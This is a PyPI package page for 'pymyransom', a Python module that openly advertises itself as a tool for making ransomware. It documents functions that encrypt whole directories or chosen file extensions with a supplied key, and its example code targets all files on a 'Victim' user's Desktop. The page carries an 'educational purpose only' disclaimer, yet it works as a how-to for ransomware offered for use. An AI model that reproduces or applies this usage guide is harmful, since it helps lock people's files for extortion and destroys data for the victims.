Skip to main content

A Module for Ransomware

Project description

Pymyransom

New in v0.4.1

Updated description

Before Introducing

PYMYRANSOM ONLY CAN BE USED FOR EDUCATIONAL PURPOSE!!!

What is Pymyransom?

Pymyransom is inspired by https://github.com/marcosValle/RansPy/blob/master/enc.py, I changed this code for making Ransomwares.

How to install Pymyransom?

To install pymyransom, please type pip install pymyransom.

How to use Pymyransom?

makeMyRansomware

Usage : ransomware_name = makeMyRansomware(your_extension, key, username, passFile)

your_extension = ".Example" : Encryption Extension
key = b'keyfor16bytes123' : Binary key for encryption
username=getpass.getuser() : PC's username
passFile=None : Pass a specific file

Encryptor

Usage : ransomware_name.Encryptor(startPath)
startPath : Path to encrypt

Decryptor

Usage : ransomware_name.Decryptor(startPath)

startPath : Path to decrypt

Encrypt_Some_Ext

Usage : ransomware_name.Encrypt_Some_Ext(startPath)

Encrypts only extensions in extlist.

startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption

Decrypt_Some_Ext

Usage : ransomware_name.Decrypt_Some_Ext(startPath)

Decrypts only extensions in extlist.

startPath : Path to encrypt some extensions
extlist=[".txt", ".mp3"] : Extensions for encryption

Example Code

import pymyransom
Victim = pymyransom.makeMyRansomware(your_extension=".Example")
startpath = 'c:\\Users\\'+Victim.username+'\\Desktop\\**' #Used glob to encrypt all files
Victim.Encryptor(startpath)

Special Thanks

https://github.com/marcosValle/, https://github.com/kevin5871/, And you!

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pymyransom-0.4.6.tar.gz (3.6 kB view details)

Uploaded Source

File details

Details for the file pymyransom-0.4.6.tar.gz.

File metadata

  • Download URL: pymyransom-0.4.6.tar.gz
  • Upload date:
  • Size: 3.6 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/41.4.0 requests-toolbelt/0.9.1 tqdm/4.36.1 CPython/3.7.4

File hashes

Hashes for pymyransom-0.4.6.tar.gz
Algorithm Hash digest
SHA256 bf9816dcc50bc7fbad211256354870797d38e1781f813b244d8fcfe0a740a94f
MD5 5b6e3584884f10c09d2a9c1d3011afc9
BLAKE2b-256 db02e652f10bb209c9a16e893fdf1369ff8f45715a89ea35dd027e663813569e

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page